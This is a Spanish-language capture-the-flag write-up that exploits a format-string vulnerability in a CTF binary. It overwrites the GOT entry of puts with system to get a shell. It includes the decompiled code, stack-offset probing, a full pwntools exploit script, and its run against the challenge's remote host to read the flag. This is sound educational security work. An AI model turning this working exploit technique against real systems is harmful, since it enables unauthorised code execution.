show-me-what-you-got
4 minutos de lectura
Se nos proporciona un binario de 64 bits llamado vuln
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Si usamos Ghidra para extraer el código en C descompilado, vemos la función main
:
undefined8 main() {
long in_FS_OFFSET;
char local_118[264];
long local_10;
local_10 = *(long *) (in_FS_OFFSET + 0x28);
setvbuf(stdout, (char *) 0x0, 2, 0);
setvbuf(stdin, (char *) 0x0, 2, 0);
puts("Send your string to be printed:");
fgets(local_118, 256, stdin);
printf(local_118);
puts("As someone wise once said, `sh`");
puts("(i think? not really sure about that one)");
if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Esta función tiene una vulnerabilidad de Format String porque la variable llamada local_118
está bajo nuestro control y se pasa como primer argumento de printf
. Por tanto, podemos usar indicadores de format string para fugar valores de la pila (stack) y también escribir valores en direcciones guardadas en la pila.
También hay una función win
:
void win() {
system("cat flag.txt >/dev/null");
return;
}
Pero es inútil porque la salida de cat flag.txt
se redirige a /dev/null
. Sin embargo, ya tenemos system
enlazado al binario, por lo que no necesitamos burlar ASLR para llamar a system
.
Nótese que tenemos un mensaje extraño:
puts("As someone wise once said, `sh`");
Suponiendo que puts
es system
, entonces obtendríamos una shell porque "... `sh`"
ejecutará sh
. Podemos comprobarlo con un simple programa en C:
$ cat test.c
#include <stdlib.h>
int main() {
system("As someone wise once said, `sh`");
return 0;
}
$ gcc test.c -o test
$ ./test
id
whoami
uname -a
^C
$ ./test
asdf
sh: 1: asdf: not found
^C
No obstante, no se ve la salida del comando, solamente errores. Pero esto es suficiente para la explotación.
La estrategia es modificar la Tabla de Offsets Globales (GOT, Global Offset Table) y hacer que puts
sea system
, de manera que tengamos una shell al ejecutar system("As someone wise once said, `sh`")
. Para explotar la vulnerabilidad de Format String, podemos usar fmtstr_payload
de pwntools
, que automatiza todo el proceso de escribir bytes en una dirección dada.
En primer lugar, vamos a determinar el offset donde se encuentra nuestra format string en la pila:
$ ./vuln
Send your string to be printed:
%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
7ffff7fa9a03.0.7ffff7ecafd2.7fffffffe610.0.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.9800000000a.98000000980.
As someone wise once said, `sh`
(i think? not really sure about that one)
Está en la posición 6
. Podemos verificarlo así:
$ ./vuln
Send your string to be printed:
AAAABBBB%6$lx
AAAABBBB4242424241414141
As someone wise once said, `sh`
(i think? not really sure about that one)
Y como se puede ver, %6$lx
se reemplaza por 4242424241414141
(que es AAAABBBB
en formato hexadecimal format, little-endian). El exploit de Format String abusará del formato %n
para escribir valores en direcciones situadas en la pila. Podemos controlar la dirección porque sabemos en qué posición de la pila tenemos que poner la dirección. La manera en la que %n
funciona es escribiendo el número de bytes impresos hasta %n
en la dirección dada. Y esta es la manera de modificar la GOT y hacer que puts
sea system
.
La GOT es un punto típico de explotación porque contiene las direcciones de las funciones externas usadas por el binario o las direcciones para realizar la resolución si aún no han sido utilizadas.
Y este es el exploit final, muy sencillo gracias a pwntools
:
#!/usr/bin/env python3
from pwn import context, ELF, fmtstr_payload, remote, sys
context.binary = elf = ELF('vuln')
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], sys.argv[2]
return remote(host, int(port))
def main():
p = get_process()
payload = fmtstr_payload(6, {elf.got.puts: elf.sym.system})
p.sendlineafter(b'Send your string to be printed:\n', payload)
p.recv()
p.interactive()
if __name__ == '__main__':
main()
Y tenemos una shell, pero como antes, no podemos leer de stdout
sino de stderr
, pero una manera de ver el resultado es con $(...)
:
$ python3 solve.py
[*] './vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './vuln': pid 1200265
[*] Switching to interactive mode
$ $(whoami)
sh: 1: rocky: not found
Ahora vamos a ver la flag en la instancia remota:
$ python3 solve.py got.ictf.kctf.cloud 1337
[*] './vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to got.ictf.kctf.cloud on port 1337: Done
[*] Switching to interactive mode
$ $(cat flag.txt)
sh: 1: ictf{f0rmat_strings_are_so_cool_tysm_rythm_for_introducing_me}: not found
El exploit completo se puede encontrar aquí: solve.py
.